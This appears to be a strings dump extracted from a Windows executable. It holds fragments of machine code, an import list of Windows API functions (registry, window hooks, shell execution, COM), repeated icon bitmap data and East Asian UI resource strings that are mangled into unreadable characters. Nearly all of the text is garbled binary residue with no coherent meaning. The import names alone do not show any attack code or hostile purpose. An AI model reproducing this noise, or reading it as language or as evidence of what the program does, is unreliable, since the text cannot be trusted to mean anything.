SVWj ^]
EPEPEWPv
@PEP 3;>v
|!3}MEP^
fYY3jY+N
3QQQEE
QPEPEP#
EVPM$^vh
3QQQEE
QPEPEP#
EVPdM$^.h
tAt2t$
@u+@PWV
EPVcM s
u5SSWh|
E SSSSu
]M3G9]u
YE;t}SSuuu
e33Mu;u
V?Y;thE
WreY9]t
ev$dv(dv,dv0dv4dv
dv8dv<d@v@dvDdvHdvLdvPdvTdvXdv\
dv`wdvdodvhgdvl_dvpWdvtOdvxGdv|?d@
PWcY^]
PbYv$Dk
VtbY^]UV3PPPPPPPPU
u5EP3GWh|
V`YEn}
e}UWVSM
[^_UV3PPPPPPPPU
t78t2=`
3@_^[]
PYYtbF
EEuzEE
YXS9YtJU
t1SaYP
t@ t20t$@t
/t(;t$;t
8EPuuu
uWEY>j
u|Yj4h@
u8WW3FVh|
YE;t@E
t!SS9]
u1VY9]t
E;tWWu
EPSu u
YMMjDhh
39}t WWu
tjEEb9}u
WWWWVSWu
;tG3Vj
YYE;t43WWVPVSWu
HHtjHHtF
u9S\UC\
}]39Mt
WVE;Yu
;VWEN@
vOE}SLSFEPSS6E
EMu39S
tfEM_^fC
+t5-t00
uFQ3@}
G0t1|
HHu&Mj
PQYuuO
#fEEEEEEEEEEEE?E
PEPfU}Y
EPMYu}
EPNYuO
EPoEPfEPEPEPPEM
0H;s;s
@UWVSu
F'G8t,A<
WN^xd;=g
tXSjYe
EPKYu}
u5}u,e
MuVQTYYM39U
6UWVSM
B8t6t8t't
M}M}M3~M~M~M#
M{M|@F
g~X\~`Q~F~;~(0~
~|UzpzG{LG
Tuy}`}}X}(}}G
Xt}y^}G
X}qzy|<H
X|@izH
(|Xu|j|_|XT|I|X>|3|X(|
x({{X{X{({lI
({{{p{Xe{I
(K{X@{5{I
w(]zRzJ
8zX-z"z K
z(yyy\K
yyy`y(yXyK
|y0qyfy[y(PyXEyX:y`/y$y(
y(xx`x<L
xmtXxxWtxXxxuxtX{xpx(exZxOxXDxxsltL
wwXw(wwPM
uOuX7wM
w`v(vXv
(vXwvlvN
XRvXGvN
X-v("v
q0qH&rlsr
s$Zs`sxsT#
RegCloseKey
RegSetValueExW
RegCreateKeyExW
RegEnumValueW
RegQueryInfoKeyW
RegOpenKeyExW
RegQueryValueExW
RegEnumKeyW
RegEnumKeyExW
RegDeleteKeyW
RegFlushKey
RegDeleteValueW
RegNotifyChangeKeyValue
ADVAPI32.dll
lstrlenW
EnterCriticalSection
InterlockedIncrement
LeaveCriticalSection
InterlockedDecrement
GetSystemDirectoryW
GetCurrentDirectoryW
InitializeCriticalSection
GetFileAttributesW
GetModuleFileNameW
DeleteCriticalSection
CloseHandle
HeapFree
HeapAlloc
GetProcessHeap
lstrcpyW
lstrcmpW
GetWindowsDirectoryW
CompareFileTime
lstrlenA
GetVersionExW
WaitForMultipleObjects
WaitForSingleObject
SetEvent
GetCurrentThreadId
FreeLibrary
LoadLibraryW
GetCommandLineW
CreateEventW
GetSystemInfo
GetFullPathNameW
QueryPerformanceCounter
GetTickCount
GetCurrentProcessId
GetSystemTimeAsFileTime
TerminateProcess
GetCurrentProcess
UnhandledExceptionFilter
SetUnhandledExceptionFilter
GetStartupInfoA
GetCommandLineA
GetVersionExA
HeapReAlloc
RtlUnwind
ExitThread
TlsSetValue
TlsGetValue
GetLastError
CreateThread
ExitProcess
GetProcAddress
GetModuleHandleA
WriteFile
GetStdHandle
GetModuleFileNameA
FreeEnvironmentStringsA
GetEnvironmentStrings
FreeEnvironmentStringsW
WideCharToMultiByte
GetEnvironmentStringsW
SetHandleCount
GetFileType
TlsFree
SetLastError
TlsAlloc
HeapDestroy
HeapCreate
VirtualFree
VirtualAlloc
IsBadWritePtr
HeapSize
LoadLibraryA
GetACP
GetOEMCP
GetCPInfo
InterlockedExchange
VirtualQuery
GetStringTypeA
GetStringTypeW
VirtualProtect
MultiByteToWideChar
IsBadReadPtr
IsBadCodePtr
SetFilePointer
LCMapStringA
LCMapStringW
GetLocaleInfoA
SetStdHandle
FlushFileBuffers
CreateFileW
SetEndOfFile
ReadFile
KERNEL32.dll
GetTextExtentPointW
GDI32.dll
EnableWindow
SendMessageW
GetDlgItem
MessageBoxW
LoadStringW
wsprintfW
EndDialog
DialogBoxParamW
GetWindowLongW
CallNextHookEx
PostMessageW
IsWindowEnabled
GetKeyState
DestroyWindow
MessageBoxA
wsprintfA
LoadStringA
SetDlgItemTextW
ShowWindow
CheckDlgButton
SetWindowTextW
ReleaseDC
SetDlgItemInt
GetDlgItemInt
GetDlgItemTextW
CheckRadioButton
LoadIconW
SetForegroundWindow
KillTimer
SetTimer
SetFocus
GetFocus
SetWindowPos
AdjustWindowRectEx
GetWindowRect
CreateDialogParamW
GetClientRect
UpdateWindow
PostQuitMessage
UnhookWindowsHookEx
SetWindowsHookExW
DispatchMessageW
TranslateMessage
IsDialogMessageW
PeekMessageW
MsgWaitForMultipleObjects
GetDesktopWindow
USER32.dll
ImageList_Destroy
ImageList_ReplaceIcon
ImageList_Create
COMCTL32.dll
GetSaveFileNameW
comdlg32.dll
ShellExecuteW
SHELL32.dll
CoInitializeSecurity
CoInitialize
CoCreateInstance
CoUninitialize
ole32.dll
OLEAUT32.dll
Ix@oGAkU'9p|B
~QCv)/&D(
uuvHMXB
9;5SM]=];Z] T7aZ%]g']
?Zd;On
7?3=Bz
;1az?aUY~S|
D?$?9'
*?}d|FU>c{
zc%C1<!8G
u7.:3q
#2IZ9W
,%I-64OSk%Y
kkggfffl
{kgfvfffffl
gffffff
{kkfvfffffl
wvffffff{;s{vffffl
7'{kkfgwffff
3fwwfrfffl
k{kvp*ffff
2*gg2*jfff;"f{{kc2ffffl
2*j{"jfffl
;3"*w{p*fff
"g{0*jfff333
wff;30
"j{3""wffs33
""c2*"{fgl
"*z"3wffl7;;;30
" 3wfvl
{kffs;30
*#7fg|;3;3
*#{{wkwv|{;3;;30*gw|
{kkgg|{3;33
jgw;32{g|s3;;;0***g;333
"*{s332"
"*;{;3
"3;33{
#3;3;;;3{
7033ws333;;;;;
{{{{{{
kkggfffl
{kgfvfffffl
gffffff
{kkfvfffffl
wvffffff{;s{vffffl
7'{kkfgwffff
3fwwfrfffl
k{kvp*ffff
2*gg2*jfff;"f{{kc2ffffl
2*j{"jfffl
;3"*w{p*fff
"g{0*jfff333
wff;30
"j{3""wffs33
""c2*"{fgl
"*z"3wffl7;;;30
" 3wfvl
{kffs;30
*#7fg|;3;3
*#{{wkwv|{;3;;30*gw|
{kkgg|{3;33
jgw;32{g|s3;;;0***g;333
"*{s332"
"*;{;3
"3;33{
#3;3;;;3{
7033ws333;;;;;
{{{{{{
kkggfffl
{kgfvfffffl
gffffff
{kkfvfffffl
wvffffff{;s{vffffl
7'{kkfgwffff
3fwwfrfffl
k{kvp*ffff
2*gg2*jfff;"f{{kc2ffffl
2*j{"jfffl
;3"*w{p*fff
"g{0*jfff333
wff;30
"j{3""wffs33
""c2*"{fgl
"*z"3wffl7;;;30
" 3wfvl
{kffs;30
*#7fg|;3;3
*#{{wkwv|{;3;;30*gw|
{kkgg|{3;33
jgw;32{g|s3;;;0***g;333
"*{s332"
"*;{;3
"3;33{
#3;3;;;3{
7033ws333;;;;;
{{{{{{
vvvfff
wffffl
w{kffvff
2{wwvffl
0*kkvpffl
"ws*ffl3
"*k0vls0
"*2"vf;;3
wffs330
{{wk{;;32g
330*gks3
"s0"*#0
;;33;{w3
33w73;;;7{{{{{{{|
vvvfff
wffffl
w{kffvff
2{wwvffl
0*kkvpffl
"ws*ffl3
"*k0vls0
"*2"vf;;3
wffs330
{{wk{;;32g
330*gks3
"s0"*#0
;;33;{w3
33w73;;;7{{{{{{{|
vvvfff
wffffl
w{kffvff
2{wwvffl
0*kkvpffl
"ws*ffl3
"*k0vls0
"*2"vf;;3
wffs330
{{wk{;;32g
330*gks3
"s0"*#0
;;33;{w3
33w73;;;7{{{{{{{|
wgvl2{pf
l;0*vl30'l332gl30*{
0#233;70?kk
wgvl2{pf
l;0*vl30'l332gl30*{
0#233;70?kk
wgvl2{pf
l;0*vl30'l332gl30*{
0#233;70?kk
\djpx~HHVZdjs~@@HV\fs~LBHHQYamxBBLLQQVYdjs~FFLLLH@HSXZdmxFFFBB;;3<CUSYajs~DDD<<333*=ieUV\fpxD><<5%%%
^XZdms~N>>5%%%
$cYajsxNC>5
r[afpx~C>8*
cZdjsxzNC8'
n[\djs{}
cY\flzq
nXY\ce
GgLTW`
q}z]O:"
_enuv~]O:"
hi^ckmpsx]O:
i^[\adfjm~~gW:
^XYYZ\\dpxo]=)
.TQQVVVYfxso]K1
rHHHHQQZp~xpogW=)
^@@@@HVfsppoW=1
o;3;;Q\jfoeK=
<33HVadooW=1
C3@QYdweK7
i>HQVtoWI$
R>LVZweWR
-:<LVtweIE.J
>FSbwteRE.J
M$8<LXyteRE.J
.M$6<FS
teRE.J
weREMJ
yei_`G
!0:9CDTyytiqh`-
(29?CNUw
|}iqRK=:000//+449??NNUUw
|teeWWOAAAAOOPPPPUUty
yoggg]]]^^^^^^orrrrrnnn^^
\djpx~HHVZdjs~@@HV\fs~LBHHQYamxBBLLQQVYdjs~FFLLLH@HSXZdmxFFFBB;;3<CUSYajs~DDD<<333*=ieUV\fpxD><<5%%%
^XZdms~N>>5%%%
$cYajsxNC>5
r[afpx~C>8*
cZdjsxzNC8'
n[\djs{}
cY\flzq
nXY\ce
GgLTW`
q}z]O:"
_enuv~]O:"
hi^ckmpsx]O:
i^[\adfjm~~gW:
^XYYZ\\dpxo]=)
.TQQVVVYfxso]K1
rHHHHQQZp~xpogW=)
^@@@@HVfsppoW=1
o;3;;Q\jfoeK=
<33HVadooW=1
C3@QYdweK7
i>HQVtoWI$
R>LVZweWR
-:<LVtweIE.J
>FSbwteRE.J
M$8<LXyteRE.J
.M$6<FS
teRE.J
weREMJ
yei_`G
!0:9CDTyytiqh`-
(29?CNUw
|}iqRK=:000//+449??NNUUw
|teeWWOAAAAOOPPPPUUty
yoggg]]]^^^^^^orrrrrnnn^^
\djpx~HHVZdjs~@@HV\fs~LBHHQYamxBBLLQQVYdjs~FFLLLH@HSXZdmxFFFBB;;3<CUSYajs~DDD<<333*=ieUV\fpxD><<5%%%
^XZdms~N>>5%%%
$cYajsxNC>5
r[afpx~C>8*
cZdjsxzNC8'
n[\djs{}
cY\flzq
nXY\ce
GgLTW`
q}z]O:"
_enuv~]O:"
hi^ckmpsx]O:
i^[\adfjm~~gW:
^XYYZ\\dpxo]=)
.TQQVVVYfxso]K1
rHHHHQQZp~xpogW=)
^@@@@HVfsppoW=1
o;3;;Q\jfoeK=
<33HVadooW=1
C3@QYdweK7
i>HQVtoWI$
R>LVZweWR
-:<LVtweIE.J
>FSbwteRE.J
M$8<LXyteRE.J
.M$6<FS
teRE.J
weREMJ
yei_`G
!0:9CDTyytiqh`-
(29?CNUw
|}iqRK=:000//+449??NNUUw
|teeWWOAAAAOOPPPPUUty
yoggg]]]^^^^^^orrrrrnnn^^
cjpw~IIQcs~DDDIQcp{E>>336JNUjs~B66-)0uWM_m{B6-&
!khUjs|8)
h_lt=2#
S^hlow~\C
uTV__j{weC+
vNKMUp~seR9
WEIcsmaa9'
fEQjcnH1
FKUnb?(
CDKbq^S.
58DMqvgX
2>GyxgXiX
,+6EbyxgXi
.,'8ENfyxgk
/18BLfyvu}k@!
+1<ABLqxt^H<772::=FJJ]qyrne`\OWWWJJ\eedddWO
cjpw~IIQcs~DDDIQcp{E>>336JNUjs~B66-)0uWM_m{B6-&
!khUjs|8)
h_lt=2#
S^hlow~\C
uTV__j{weC+
vNKMUp~seR9
WEIcsmaa9'
fEQjcnH1
FKUnb?(
CDKbq^S.
58DMqvgX
2>GyxgXiX
,+6EbyxgXi
.,'8ENfyxgk
/18BLfyvu}k@!
+1<ABLqxt^H<772::=FJJ]qyrne`\OWWWJJ\eedddWO
cjpw~IIQcs~DDDIQcp{E>>336JNUjs~B66-)0uWM_m{B6-&
!khUjs|8)
h_lt=2#
S^hlow~\C
uTV__j{weC+
vNKMUp~seR9
WEIcsmaa9'
fEQjcnH1
FKUnb?(
CDKbq^S.
58DMqvgX
2>GyxgXiX
,+6EbyxgXi
.,'8ENfyxgk
/18BLfyvu}k@!
+1<ABLqxt^H<772::=FJJ]qyrne`\OWWWJJ\eedddWO
2DJMQ ;8HLSWU
]?9IO\V
iz7>v}X
ok~dbsYQ
lqwKNM
e|4:HJ#
c`r@'0E-
u`_dh{Z(6")mga^Rnx%=.pjfy
lt,&CB
*$<71/+8?!k
2DJMQ ;8HLSWU
]?9IO\V
iz7>v}X
ok~dbsYQ
lqwKNM
e|4:HJ#
c`r@'0E-
u`_dh{Z(6")mga^Rnx%=.pjfy
lt,&CB
*$<71/+8?!k
2DJMQ ;8HLSWU
]?9IO\V
iz7>v}X
ok~dbsYQ
lqwKNM
e|4:HJ#
c`r@'0E-
u`_dh{Z(6")mga^Rnx%=.pjfy
lt,&CB
*$<71/+8?!k
))77DDQQ__kkppqqooee
((88EEPP[[ffppxx
++::HHVVeeqq}}yy_AA
JJJt))^!!&&..55CCOO]]mmzz
DDD"$$ %%--//2244::DDPPZZhhtt
NNN$%%""%%**++**((%%''1199EEQQ__kkxx
ZZZ"$$!!%%$$""
--55BBNN[[gguu
--9977==IIVVbbllxx
CbbZnn@@==FFRR^^hhss||
&KqddBBCCOOZZddnnyyzz
OO7WW?z
BcNNCCLLUU``jjss||zzYY<$$
5Ur^^DDFFPPZZddmmssffd66
(FcMMCCJJSS\\eeeeII/
6UrjjCCCCKKTTZZRRg..
(EcGG<<AAIILL::4
6Uv\\;;77>>99h!!
&FeAA//00''8
3RmNN,,##]
=Up;;d JJ
__::^<<yymm
d++GG__ss{{
b""::OO__ffppxx||
((>>MMWW]]``ddmm}}xx
-H}}0077CCKKOORRUUXX^^ppnn
!7SZZ>>==@@CCFFHHJJPPbbxxbb
7Rs[[::4477::;;>>BBUUkkxxWW
*GdOO****++..0066GGbbuunnLL###X
AA@@''
""((<<UUff``BB)))E
==OGG//
11HH[[VV<<5550@@@
''>>NNIIK<<jMMM
BBEE**
1K^n||
""55AA??FFFIiii
==KKK66
'9FW44
))7788AA]]],
FFCC--
++8899XXXQ
>>RKK==%%
//66BBttt.
EEJJ66
%%33<<kkkE
,,88RRk$
??YOOGG33
&&11DD.
DDtPPHH22
%%//<<3
GG~SSJJ55""c
##..::1
FFuRRMM<<((h
$$,,77+
PPBB22p%%H
!!**,,
>>)JJRRMMBB44{))!!
$$,,--//DDF
DDSJJPPLLCC<<33**%%
!!##%%**..11,,00c
<<LFFLL
QQLLFFBB>><<::8877::<<====66
00..Wiii
@@PCCFFHH
JJMMMMKKIIDD
==9911Xz77
))77DDQQ__kkppqqooee
((88EEPP[[ffppxx
++::HHVVeeqq}}yy_AA
JJJt))^!!&&..55CCOO]]mmzz
DDD"$$ %%--//2244::DDPPZZhhtt
NNN$%%""%%**++**((%%''1199EEQQ__kkxx
ZZZ"$$!!%%$$""
--55BBNN[[gguu
--9977==IIVVbbllxx
CbbZnn@@==FFRR^^hhss||
&KqddBBCCOOZZddnnyyzz
OO7WW?z
BcNNCCLLUU``jjss||zzYY<$$
5Ur^^DDFFPPZZddmmssffd66
(FcMMCCJJSS\\eeeeII/
6UrjjCCCCKKTTZZRRg..
(EcGG<<AAIILL::4
6Uv\\;;77>>99h!!
&FeAA//00''8
3RmNN,,##]
=Up;;d JJ
__::^<<yymm
d++GG__ss{{
b""::OO__ffppxx||
((>>MMWW]]``ddmm}}xx
-H}}0077CCKKOORRUUXX^^ppnn
!7SZZ>>==@@CCFFHHJJPPbbxxbb
7Rs[[::4477::;;>>BBUUkkxxWW
*GdOO****++..0066GGbbuunnLL###X
AA@@''
""((<<UUff``BB)))E
==OGG//
11HH[[VV<<5550@@@
''>>NNIIK<<jMMM
BBEE**
1K^n||
""55AA??FFFIiii
==KKK66
'9FW44
))7788AA]]],
FFCC--
++8899XXXQ
>>RKK==%%
//66BBttt.
EEJJ66
%%33<<kkkE
,,88RRk$
??YOOGG33
&&11DD.
DDtPPHH22
%%//<<3
GG~SSJJ55""c
##..::1
FFuRRMM<<((h
$$,,77+
PPBB22p%%H
!!**,,
>>)JJRRMMBB44{))!!
$$,,--//DDF
DDSJJPPLLCC<<33**%%
!!##%%**..11,,00c
<<LFFLL
QQLLFFBB>><<::8877::<<====66
00..Wiii
@@PCCFFHH
JJMMMMKKIIDD
==9911Xz77
))77DDQQ__kkppqqooee
((88EEPP[[ffppxx
++::HHVVeeqq}}yy_AA
JJJt))^!!&&..55CCOO]]mmzz
DDD"$$ %%--//2244::DDPPZZhhtt
NNN$%%""%%**++**((%%''1199EEQQ__kkxx
ZZZ"$$!!%%$$""
--55BBNN[[gguu
--9977==IIVVbbllxx
CbbZnn@@==FFRR^^hhss||
&KqddBBCCOOZZddnnyyzz
OO7WW?z
BcNNCCLLUU``jjss||zzYY<$$
5Ur^^DDFFPPZZddmmssffd66
(FcMMCCJJSS\\eeeeII/
6UrjjCCCCKKTTZZRRg..
(EcGG<<AAIILL::4
6Uv\\;;77>>99h!!
&FeAA//00''8
3RmNN,,##]
=Up;;d JJ
__::^<<yymm
d++GG__ss{{
b""::OO__ffppxx||
((>>MMWW]]``ddmm}}xx
-H}}0077CCKKOORRUUXX^^ppnn
!7SZZ>>==@@CCFFHHJJPPbbxxbb
7Rs[[::4477::;;>>BBUUkkxxWW
*GdOO****++..0066GGbbuunnLL###X
AA@@''
""((<<UUff``BB)))E
==OGG//
11HH[[VV<<5550@@@
''>>NNIIK<<jMMM
BBEE**
1K^n||
""55AA??FFFIiii
==KKK66
'9FW44
))7788AA]]],
FFCC--
++8899XXXQ
>>RKK==%%
//66BBttt.
EEJJ66
%%33<<kkkE
,,88RRk$
??YOOGG33
&&11DD.
DDtPPHH22
%%//<<3
GG~SSJJ55""c
##..::1
FFuRRMM<<((h
$$,,77+
PPBB22p%%H
!!**,,
>>)JJRRMMBB44{))!!
$$,,--//DDF
DDSJJPPLLCC<<33**%%
!!##%%**..11,,00c
<<LFFLL
QQLLFFBB>><<::8877::<<====66
00..Wiii
@@PCCFFHH
JJMMMMKKIIDD
==9911Xz77
<<<3l44e::FFWWggvv
UUU'88n..99KK\\rr
_ZZ322000022==IIYYjj||
HHG..%%$$
22<<NNaatt6))
II?&&
w00y??DDWWhhzz
~xx &&
"<`YYDDSSeevv}}~QQ1h
5Y}MMOOaarruuTT)''
*OnccMM\\iibbN))
>`}NNUU[[BB
%Lh[[HHHHN
.Pe;;00
1FgPPA--
N##DDdd
55MM\\eeuu
#9}66BBMMSSWWaa}}ww
<\JJ@@@@DDNNkkii
.Qq[[BB55;;[[ssYY
4Vl{AA//JJbbII
55iKK,,
,EP`,,??OO<<
))II>>
";%%66<<n66f!!!
<<MM//N
5544<<<3
GGm''+
++66::nCCC
66zRREEe##)
1199UUU'
>>UUEEf%%*
0066c__3
BBXXIIl,,1
++22HHG
??WWOOx;;J&&5
%%0011LL@
VVLL==11##
!!**220000~xx
''488HHSSQQKKEEBB>>==@@AA>>55--55H
!!//g::CC
GGJJJJFF>>
11++p33-
<<<3l44e::FFWWggvv
UUU'88n..99KK\\rr
_ZZ322000022==IIYYjj||
HHG..%%$$
22<<NNaatt6))
II?&&
w00y??DDWWhhzz
~xx &&
"<`YYDDSSeevv}}~QQ1h
5Y}MMOOaarruuTT)''
*OnccMM\\iibbN))
>`}NNUU[[BB
%Lh[[HHHHN
.Pe;;00
1FgPPA--
N##DDdd
55MM\\eeuu
#9}66BBMMSSWWaa}}ww
<\JJ@@@@DDNNkkii
.Qq[[BB55;;[[ssYY
4Vl{AA//JJbbII
55iKK,,
,EP`,,??OO<<
))II>>
";%%66<<n66f!!!
<<MM//N
5544<<<3
GGm''+
++66::nCCC
66zRREEe##)
1199UUU'
>>UUEEf%%*
0066c__3
BBXXIIl,,1
++22HHG
??WWOOx;;J&&5
%%0011LL@
VVLL==11##
!!**220000~xx
''488HHSSQQKKEEBB>>==@@AA>>55--55H
!!//g::CC
GGJJJJFF>>
11++p33-
<<<3l44e::FFWWggvv
UUU'88n..99KK\\rr
_ZZ322000022==IIYYjj||
HHG..%%$$
22<<NNaatt6))
II?&&
w00y??DDWWhhzz
~xx &&
"<`YYDDSSeevv}}~QQ1h
5Y}MMOOaarruuTT)''
*OnccMM\\iibbN))
>`}NNUU[[BB
%Lh[[HHHHN
.Pe;;00
1FgPPA--
N##DDdd
55MM\\eeuu
#9}66BBMMSSWWaa}}ww
<\JJ@@@@DDNNkkii
.Qq[[BB55;;[[ssYY
4Vl{AA//JJbbII
55iKK,,
,EP`,,??OO<<
))II>>
";%%66<<n66f!!!
<<MM//N
5544<<<3
GGm''+
++66::nCCC
66zRREEe##)
1199UUU'
>>UUEEf%%*
0066c__3
BBXXIIl,,1
++22HHG
??WWOOx;;J&&5
%%0011LL@
VVLL==11##
!!**220000~xx
''488HHSSQQKKEEBB>>==@@AA>>55--55H
!!//g::CC
GGJJJJFF>>
11++p33-
|CC.33KKmm
88[))))FFWWzz
866dOO^^
9oDD::
CWii##
>__LL]]zz
ULL99VVnn
2lxx99NN
>>s2
;1166333
m 22DD1
778FFA
EET$$++;;Z
669GGY::6??
BBAA==11
|CC.33KKmm
88[))))FFWWzz
866dOO^^
9oDD::
CWii##
>__LL]]zz
ULL99VVnn
2lxx99NN
>>s2
;1166333
m 22DD1
778FFA
EET$$++;;Z
669GGY::6??
BBAA==11
|CC.33KKmm
88[))))FFWWzz
866dOO^^
9oDD::
CWii##
>__LL]]zz
ULL99VVnn
2lxx99NN
>>s2
;1166333
m 22DD1
778FFA
EET$$++;;Z
669GGY::6??
BBAA==11
DDDDDD
DDDDDD
DDDDDD
[xe<P(
[xe<P]
&N(W}/eJX-N8eQ`@bv
000000
000000
NfM0$P(
S0n0$Pn0
0L0Lc0f0O0`0U0D0
n0e[0000
O(uY00k0o0
0eW0D0$P0
O(uY00k0o0
NfM0$P]
0xbW0f0]0n0$P0eQRW0f0O0`0U0D0
7ReL:N
~(u7bMbO9e
Fh-N.eQ``
O(uv7Res
O(u-Nvo:y
Qs(W|q}{v
`SN(W
nU-NxS
y0RPNMOn
`SN(W
nU-NxS
bSOv-[
O(udk]wQBf*g}"uT/ec
v|q}OUL
^00000j0000000
0000n0{
NU00_0000000
0000o0^00000g0B00h0
H000~0Y0
Tk00c0f0o0
000000k0kc0f0D00S000n00000n0`1XL0OUL0
_M0wS0Y0S'`L0B00~0Y0
^00000j00000]
NK0000000xbg0M0~0Y0
000000]
00000Y00h000000n0`1XL0000000U00~0Y0
000000U00_0^00000j00000]
NK0000000xbg0M0~0Y0
CQk0;bY0]
00000Y00h000000n0`1XL0CQn04X@bk0;bU00~0Y0
T0000bS_
\0SQ0Z0k0S0n00000
O(uY00h0
00000k0
'Yj0OUL0
_M0wS0Y0S'`L0B00~0Y0
^00000j00000
000000U00_0^00000j00000
000000(
CQk0;bY0(
te^;mRv>f:y
RQv>f:y
Y/f^;mRv
0(WgN`Q
Yg[NQs(WlQh-N
ONu|~
\[NvlQhOo`y0R
YNv^;mR
\[NvlQhOo`yV0RSegvMOn
Yg*g(WNT/e
O(u]wQ
ONu%N
YNv^;mR
W0f0D0~0Y0:
ck(W6e
2QX[@b
!k000(
`1X0Y0y0f0OX[(
g1XJT[
(W`|q}
CQNSER
0[SN`,nfR
&Nf|q}-[NT0R
gsO]\OHe
\OULv@SW
civuv"}
jd|kub
NNSNk^R`zlOULv]wQ
vMReg/
\Omi|q}:
xeMO=|z
S0n00000
0000000U00f0D00
000000000000n0s0}`1X0eQKbY00S0h0L0g0M0~0Y0
~0_0_jn0000
0OULn0:e
00000i
Sj0i00[Lg0M0~0Y0
L0OUL0wS0W0f0D00K0
RK0c0f0D004X
0iS_j00000000W0f0O0`0U0D0
!k000]
00000W0f0O0`0U0D0
]00g00OULL0zlW0j0D04X
n0000g0o0
0OULzlk0)R(ug0M00]0n0{0K0n0000n0
N0h:yW0~0Y0
0000`1X
s(Wn0eBf
000000
00000000
00000
00000
T0xY00
]wQbJT
z^v~Oo`
O(u]wQ
v^f9e|~Mn
Yg`wS/fT*N
vQN.^R
g.^RvvQN]wQ
S_MReg/
d\O|~:
peW[~{
vfGr^W:
vMRo:y!j
000n0.z^
n0.z^
000000n0000
00000
00NM0:
0000000
0000000
00000
0000000
n0000(
n0000(
6R FU:
Gr{|W:
0OQX[;`pe:
S_MR>f:y!j
FUX%Rx:
"uTX%Rx:
vQNjHh:
HeRI{
e[n00000
00000
00NM0:
{0K0n00000
Of}CQ
000000
0000000
n0000(
6R FU
vQNeN:
lxNvXR~+R:
-#cWR:
P#cWO,nf(
000000:
000000
e[n0000
0000000:
n0000(
O(uY00000(
O(udkzSKm
eQRO0000
NeQvsQv
00000000
X00000(
n0000(
Yg`!ql
P]wQzlOUL
gvQNxd:
f-NvHeu
O(u-No:y
O(u-N(
S0n00000
O(uW0f00OULL0zlW0j0D04X
N0fW0f0
0f0O0`0U0D0:
000n0
000000000000SgqY00k0o0
0S0n000000000W0f0O0`0U0D0
00000000000(
000n00000k0Y00000000000000SgqY00k0o0
0S0n000000000W0f0O0`0U0D0
0000`1X0000wRY00k0o0
0S0n000000000W0f0O0`0U0D0
0000`1X(
n0000000
NfM0Y00k0o0
0S0n000000000W0f0O0`0U0D0
^00000j0000000
0000k0#Y00OULk0W0f0o0
0S0n000000000W0f0O0`0U0D0
^00000(
O(udk]wQel
NNvQNelS
gsQXvuT{:
|~Oo`]wQ:
|~Oo`(
v7Res(
N^;mRv>f:y
^;mRv(
]He,nf:
]He,nf:
KQ,nf:
X00000
[LU00f0D0~0[00
[LU00f0D0~0[00
[LU00f0D0~0[00
00000n0[L(
00000000000(
hQS]XKm
JSS]XKm
2QX[@b
!k000(
`1X0Y0y0f0OX[(
g1XJT[
(W`|q}
CQNSER
0[SN`,nfR
&Nf|q}-[NT0R
gsO]\OHe
\OULv@SW
civuv"}
jd|kub
NNSNk^R`zlOULv]wQ
vMReg/
\Omi|q}:
|q} FU:
|q}W_:
xeMO=|z
S0n00000
0000000U00f0D00
000000000000n0s0}`1X0eQKbY00S0h0L0g0M0~0Y0
~0_0_jn0000
0OULn0:e
00000i
Sj0i00[Lg0M0~0Y0
L0OUL0wS0W0f0D00K0
RK0c0f0D004X
0iS_j00000000W0f0O0`0U0D0
!k000]
00000W0f0O0`0U0D0
]00g00OULL0zlW0j0D04X
n0000g0o0
0OULzlk0)R(ug0M00]0n0{0K0n0000n0
N0h:yW0~0Y0
0000`1X
s(Wn0eBf
000000
00000000
0000 CQ:
00000
00000
T0xY00
]wQbJT
z^v~Oo`
O(u]wQ
v^f9e|~Mn
Yg`wS/fT*N
vQN.^R
g.^RvvQN]wQ
S_MReg/
d\O|~:
|~6R FU:
peW[~{
vfGr^W:
vMRo:y!j
000n0.z^
n0.z^
000000n0000
00000
00NM0:
00000:
0000000
n0000(
0000000
n0000(
00000
0000000
6R FU:
Gr{|W:
0OQX[;`pe:
S_MR>f:y!j
FUX%Rx:
"uTX%Rx:
vQNjHh:
HeRI{
e[n00000
00000
00NM0:
{0K0n00000
Of}CQ
000000
0000000
n0000(
6R FU
vQNeN:
lxNvXR~+R:
-#cWR:
P#cWO,nf(
000000:
000000
e[n0000
0000000:
O(uY00000(
n0000(
O(udkzSKm
eQRO0000
NeQvsQv
00000000
X00000(
n0000(
Yg`!ql(u
P]wQzlOUL
gNvQNxd:
f-NvHeu
7_6R[
O(u-No:y
O(u-N(
S0n00000
O(uW0f00OULL0zlW0j0D04X
N0fW0f0
0f0O0`0U0D0:
000n0
000000000000SgqY00k0o0
0S0n000000000W0f0O0`0U0D0
00000000000(
000n00000k0Y00000000000000SgqY00k0o0
0S0n000000000W0f0O0`0U0D0
0000`1X0000wRY00k0o0
0S0n000000000W0f0O0`0U0D0
0000`1X(
n0000000
NfM0Y00k0o0
0S0n000000000W0f0O0`0U0D0
^00000j0000000
0000k0#Y00OULk0W0f0o0
0S0n000000000W0f0O0`0U0D0
^00000(
O(udk]wQel
NNvQNelS
gsQXvuT{:
|~Oo`]wQ:
|~Oo`(
v7Res(
N^;mRv>f:y
^;mRv(
:e]wQ1
NvHr,g
_2QX[
6q_P}_g
_2QX[eW[
6q_P}_g
xeMO=|z
xeMO=|z
xeMO=|zS
N}}#}Ofe
ccCQNjHhBf|vuOUL
Hr,g]NgS
b}J2bvOUL
ck(WWL
RS0R
N_MbK\O
geHr,g
Hr,gkdkHr,g
0N1XJTv
O(ufeHrv
!ql(W
:e000S
S0n0000000[LY00k0o0
0~0_0o0S00000eW0D000000n0
L0_g0Y0
QR0000]
QR0000]
QR0000
;ubk0`1X0h:y[0Z0k0
QR0000>
k0OX[W0
0B}NW0~0Y0
;ubk0`1X0h:y[0Z0k00000`1X0
QR0000>
k0OX[W0
0B}NW0~0Y0
T0xY00S0h001SW0~0Y0
T0xY00S0h001SW0~0[00
Tn0x01SW0_04X
00000000c}0
Oc0f0
ffL0feU000S0h0L0B00~0Y0
0000000
000000000g0M0~0[00A
n0000000U00f0D0000000o0SD000000g0
0000000
000g0000L0zvuY00S'`L0B00~0Y0
L0[L-Ng0Y0
L00000000U000~0g0
000000
0000000o0R\OW0j0D0S'`L0B00~0Y0
gen0000000S_Y00k0o0
0000000W0vY0_L0B00~0Y0
S00o0
~0_0o0
Ng0W0K0R\OW0~0[00
0J00s0
Oc0f0O0`0U0D0
000000U00f0D00
n000000o0
0S0n0
n000000000eW0D0h0
`00~0Y0
0h:yU000`1XL0ckxg0o0j0D0S'`L0B00~0Y0
0eW0D000000n0
O(uW0f0O0`0U0D0
00000
Ng0o0[Lg0M0~0[00
0B}NW0~0Y0
~0_0o0]00NML0000000U00f0D00_L0B00~0Y0
